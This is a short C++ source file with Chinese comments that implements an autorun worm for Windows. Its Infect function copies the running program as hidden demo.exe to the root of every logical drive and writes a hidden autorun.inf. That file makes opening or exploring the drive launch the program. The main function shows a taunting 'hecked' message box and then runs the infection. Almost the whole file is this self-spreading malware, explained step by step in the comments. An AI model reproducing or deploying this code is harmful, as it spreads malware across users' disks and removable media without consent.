// Autorun.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include<windows.h>
#include<iostream>
using namespace std;
char *gstrAutoRun = "[autorun] \
\r\nopen=demo.exe \
\r\nshell\\open = 打开(&O) \
\r\nshell\\open\\Command = demo.exe \
\r\nshell\\explore = 资源管理器(&X) \
\r\nshell\\explore\\Command = demo.exe \
\r\nshellexecute = demo.exe \
\r\nshell\\Auto\\Command = demo.exe";
//封装成一个函数
void Infect(char *pstrFilePath)
{
char strDriveStrings[MAXBYTE] = { 0 };
DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);
//函数执行成功..返回填充完毕的缓冲区字符的的个数,不是长度
//一般是4的倍数...(形如C:\ 包括之后的一个空字符0)..
DWORD dwError = 0;
for (size_t i = 0; i < dwDriveStrLen; i+=4)
{
//病毒文件
char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = {0};
//取盘符
strncpy(strRoot, &strDriveStrings[i], 4);
//cout << strRoot << endl;
strcpy(strTargetPath, strRoot);
strcat(strTargetPath, "demo.exe");
if (!CopyFileA(pstrFilePath, strTargetPath, false))
{
dwError = GetLastError();
}
//使用A版本
//待拷贝文件,需要拷贝到的地方
SetFileAttributesA(strTargetPath, FILE_ATTRIBUTE_HIDDEN);
//隐藏文件
//AutoRun.inf
strcpy(strTargetPath, strRoot);
//先把他的盘符拿过来
strcat(strTargetPath, "autorun.inf");
HANDLE hFile = CreateFileA(strTargetPath, GENERIC_WRITE, 0, nullptr,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,nullptr);
//因为我们全部用的是char*,所以用A版本
//创建的时候就可以隐藏的创建
DWORD dwLen = 0;
WriteFile(hFile, gstrAutoRun, strlen(gstrAutoRun), &dwLen, nullptr);
CloseHandle(hFile);
}
}
int main()
{
MessageBoxA(nullptr,"hecked","I Love hxx",MB_OK);
char strSelfPath[MAX_PATH] = { 0 };
GetModuleFileNameA(nullptr, strSelfPath, MAX_PATH);
//获取当前文件的目录
Infect(strSelfPath);
return 0;
}